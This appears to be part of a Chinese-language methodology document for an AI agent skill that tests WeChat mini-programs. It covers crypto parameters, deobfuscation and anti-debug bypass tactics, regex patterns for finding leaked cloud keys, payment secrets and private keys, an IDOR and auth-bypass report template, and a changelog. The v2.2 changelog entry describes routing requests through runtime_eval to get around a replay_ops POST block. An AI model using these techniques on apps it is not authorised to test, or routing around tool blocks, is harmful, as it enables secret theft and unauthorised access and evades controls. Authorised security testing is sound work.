| 算法 | MCP 参数 | 备注 |
|---|---|---|
| AES-CBC | algorithm="aes", mode="cbc" | iv 未提供时从密文前 16 字节提取 |
| AES-ECB | algorithm="aes", mode="ecb" | 无 IV,相同明文块产生相同密文块 |
| 3DES-ECB | algorithm="3des", mode="ecb" | key < 24 字节自动零填充 |
| 3DES-CBC | algorithm="3des", mode="cbc" | 需提供 iv |
| RSA-PKCS1v15 | algorithm="rsa" | key 为 PEM 格式私钥 |
| MD5 Hash | algorithm="md5" | 结果为 hex |
| SHA-256 | algorithm="sha256" | 结果为 hex |
| HMAC-SHA256 | algorithm="hmac-sha256" | 需 key |
| MD5 Key Derive | algorithm="md5-key-derive" | 用于流水线,key 为 salt |
| ECB Pattern Detect | action="detect_ecb_pattern" | 检测密文是否有重复块 |
逆向代码保护速查表
| 保护类型 | 识别特征 | 策略 |
|---|---|---|
| Webpack 打包 | webpackJsonp / __webpack_require__ | 建立 moduleId 映射 → 定位加密模块 → 提取 |
| OB 混淆 | _0x 前缀变量 + 十六进制字符串数组 | 提取字符串数组 → 还原引用 → 变量重命名 |
| JSVMP | while(true){switch(...)} + 200KB+ 文件 | 不反编译 → Hook 出入口截取签名值 |
| eval/Function 打包 | eval(...) 或 new Function(...) 包裹 | Hook eval/Function 拦截解包后的源码 |
| 控制流平坦化 | switch-case 状态机 + 无限循环 | 追踪状态转移 → 还原执行顺序 |
| 反调试 | setInterval(()=>{debugger}) / console 检测 | 用 get_console_logs 替代 console / Hook 层面绕过 |
敏感信息检测速查表
凭据类型与搜索模式
| 危害 | 类型 | 搜索关键词 | 命中示例 |
|---|---|---|---|
| 🔴 | 腾讯云 AK/SK | AKID[A-Za-z0-9]{32,48} / TENCENT_SECRET | AKIDa1b2... (32-48位) |
| 🔴 | 阿里云 AK/SK | LTAI[A-Za-z0-9]{16,24} / ALIBABA_CLOUD | LTAI5t... (16-24位) |
| 🔴 | AWS AK/SK | AKIA[A-Z0-9]{16} / AWS_ACCESS_KEY | AKIA... (16位) |
| 🔴 | 微信 AppSecret | appSecret.*['\"]\\w{32}['\"] / WX_APPSECRET | AppSecret 32位 hex |
| 🔴 | 支付商户密钥 | mch_key / partner_key / paySignKey | 微信支付/支付宝密钥 |
| 🔴 | 数据库连接串 | jdbc: / mongodb:// / redis:// / mysql:// | 含用户名密码的完整 URI |
| 🔴 | RSA 私钥 | BEGIN.*PRIVATE KEY | PEM 格式完整私钥 |
| 🟠 | JWT Secret | jwt_secret / JWT_SECRET / tokenSecret | 任意长度字符串 |
| 🟠 | AES/DES 密钥 | aes_key / _aesKey / DES_KEY | 硬编码加密密钥 |
| 🟠 | 签名密钥 | sign_key / SIGN_SECRET / encrypt_key | 用于签名的 secret |
| 🟡 | GitHub Token | ghp_[A-Za-z0-9]{36} / github_pat_ | ghp_xxxx... (36位) |
| 🟡 | 钉钉/飞书 Webhook | oapi\\.dingtalk\\.com/robot / open\\.feishu\\.cn | 含 token 的完整 URL |
| 🟡 | 七牛/又拍云 | qiniu / QINIU_SECRET / upyun | 对象存储 AK/SK |
| 🟡 | 内网地址 | 10\\. / 192\\.168\\. / dev\\. / staging\\. | 内部 IP 或测试域名 |
| 🟡 | 手机号/邮箱 | 1[3-9]\\d{9} / 邮箱正则 | 源码中硬编码的联系信息 |
扫描优先级
第一轮(CRITICAL,30 秒):
→ AKID / LTAI / AKIA / appSecret / mch_key / jdbc: / mongodb:// / BEGIN.*PRIVATE KEY
第二轮(HIGH,30 秒):
→ jwt_secret / aes_key / sign_key / encrypt_key / DES_KEY / cipher_key
第三轮(MEDIUM,20 秒):
→ GitHub Token / Webhook URL / 七牛 / 内网 IP / 手机号 / 邮箱
第四轮(复核,按需):
→ 对命中的行用 get_script_source 读取上下文,排除误报
漏洞报告模板
通用模板
漏洞类型:[IDOR / 认证绕过 / 未授权访问 / 敏感信息泄露 / 签名重放 / 支付风险]
OWASP 分类:[A01 越权 / A02 密码失败 / A07 认证失败 / A09 日志不足]
风险等级:🔴 严重 / 🟠 高危 / 🟡 中危 / 🟢 低危
发现位置:
路由:[pages/xxx/xxx]
接口:[HTTP Method] [完整 URL]
参数:[参数名] = [原始值] → [测试值]
复现步骤:
1. Phase 0 连接小程序,network_ops(action="hook_wx_request") 启用流量采集
2. 导航至 [路由],触发目标接口,获取正常响应(附截图/日志)
3. 使用 runtime_eval(fetch) 修改 [参数/Token],发送测试请求
4. 响应返回 [他人数据 / 越权操作成功] → 漏洞确认(附对比截图)
影响范围:[描述可访问数据类型 / 可执行的操作]
修复建议:[针对该类型的具体建议]
各类型速查
| 漏洞类型 | 典型特征 | 修复方向 |
|---|---|---|
| IDOR | 修改 id/orderId 获取他人数据 | 服务端校验资源归属,不信任客户端传入的用户 ID |
| 认证绕过 | 去掉 Token 仍返回 200+数据 | 所有接口加认证中间件,区分 401/403 |
| 垂直越权 | 普通 Token 访问管理员接口成功 | 接口级权限校验,不只前端隐藏 |
| 敏感信息泄露 | 源码含 AK/SK / AppSecret / 私钥 | 凭据上移服务端,前端只用临时 STS Token |
| 签名重放 | 同一 sign 多次使用均成功 | 时间窗口缩短(≤5min),nonce 一次性校验 |
| 支付风险 | 客户端 price 参数被服务端直接使用 | 服务端按 productId 重新查价,忽略客户端金额 |
| JWT-in-URL | token=eyJ... 出现在 URL query | 改用 Authorization 请求头传输 |
资源索引
| 资源 | 用途 | 获取方式 |
|---|---|---|
| WMPFDebugger | 小程序 CDP 调试入口 | 微信开发者工具内置 |
| miniapp_cdp MCP | 本 skill 依赖的 MCP 服务 | 项目内 run_mcp_server.py |
| CyberChef | 在线多层编解码验证 | gchq.github.io/CyberChef |
| jwt.io | JWT 解码与调试 | jwt.io |
| mitmproxy | HTTPS 流量抓包 | mitmproxy.org |
| PayloadsAllTheThings | 越权 / 注入 Payload 参考 | github.com/swisskyrepo/PayloadsAllTheThings |
| HackerOne Reports | 真实小程序/API 漏洞案例 | github.com/reddelexc/hackerone-reports |
| OWASP Mobile Top 10 | 移动端安全参考标准 | owasp.org/www-project-mobile-top-10 |
| OWASP API Top 10 | API 安全参考标准 | owasp.org/www-project-api-security |
更新记录
| 版本 | 日期 | 要点 |
|---|---|---|
| v2.11 | 2026-05-25 | Phase 1.1 重写路由优先级分级 P0/P1/P2/P3,P0 采集完立即进 Phase 2;经验法则 #3 更新 |
| v2.10 | 2026-05-25 | Phase 0 重写:Step 3 改为注入 nav_inject.js;Phase 1.0 改用 fetchConfigJson();Phase 1.1 导航改用 reLaunchJson;经验法则 #4 更新 |
| v2.9 | 2026-05-25 | Phase 1.1 新增"空流量路由决策树"(空流量→强制刷新→子页→标记跳过,最多重试 2 次);静态路由标注格式示例;经验法则 #4 更新 TabBar 切换说明;新增经验法则 #7(空流量路由最多重试 2 次即跳过) |
| v2.7 | 2026-05-25 | Phase 2.8 新增 HTTP 响应码行为变化检测(登录 404→OAuth2迁移 / 上传端点存活检测 / 路径遍历CVE探针 + WAF 418指纹 / REST路由参数枚举行为变化);场景 16-19 新增;最小可行扫描加入 Phase 2.8;经验法则 44-48 新增(HTTP行为检测) |
| v2.6 | 2026-05-24 | 多 appId 语义修正:同一会话多 appId = 同一评估目标(按认证系分类而非按 appId 分桶);CHECK-2 速查表新增 enc 参数型 + Authen-Sign 型;CHECK-4 新增多 appId 声明项;最小可行扫描路径更新至 2.2.1 + 2.5.1;Phase 2.5.1 ⑤ 重写 + ⑥ 新增 Authen-Sign 分析;场景 15 重写;经验法则 #43 更新 |
| v2.5 | 2026-05-24 | Phase 0 修正步骤顺序(select_appservice_context 移至第 3 步);Phase 1.0 新增上下文故障恢复指引;Phase 1.4 新增 cachedata 脚本降级方案;Phase 2.1 新增 500 歧义判断;Phase 2.5.1 新增 5 类专项风险检测(JWT-in-URL / 静态 sign / 双斜杠路径 / enc 绑定模式 / 多 appId);场景 13-15 新增;经验法则 40-43 新增(上下文错误 / cachedata / JWT-in-URL / 多 appId) |
| v2.4 | 2026-05-24 | Phase 2.2.1 新增路径参数 undefined IDOR 检测与枚举测试模板;场景 12 新增 undefined 路径枚举流程;经验法则 #39 新增 |
| v2.3 | 2026-05-23 | 新增评估流程总览表 + 最小可行扫描提示;修复经验法则 #37 工具名拼写(runtime_eval → runtime_ops) |
| v2.2 | 2026-05-23 | Phase 2.1/2.2 主动测试改造:认证绕过和 IDOR 用 runtime_eval+fetch 自动发送请求、绕过 replay_ops POST 阻断;IDOR 判据从"看静态分析报告"改为"对比数据差异";Phase 4.7.2 新增 Gateway 配置结构检测(accessKey\s*[:"] 精确匹配 + gateway.*accessKey)+ 搜索后 4 步验证流程;经验法则 32-33 更新(AK 格式不够 + 二次验证)、新增 36-38(主动测试) |
| v2.1 | 2026-05-23 | Phase 4.7 源码敏感信息检测:11 类凭据扫描 + 11项执行清单 + 报告模板 + 5 条经验法则 + 检测速查表 |
| v2.0 | 2026-05-23 | 路由标注机制 + 全路由遍历测试 + Phase 4 逆向分析 + 密码学攻击检测 + 经验法则 20→30 条 |
| v1.0 | 2026-05-23 | 初版:渗透 Phase 0-5 + 解密多层流水线 + Vuex 检查 + 20 条经验法则 |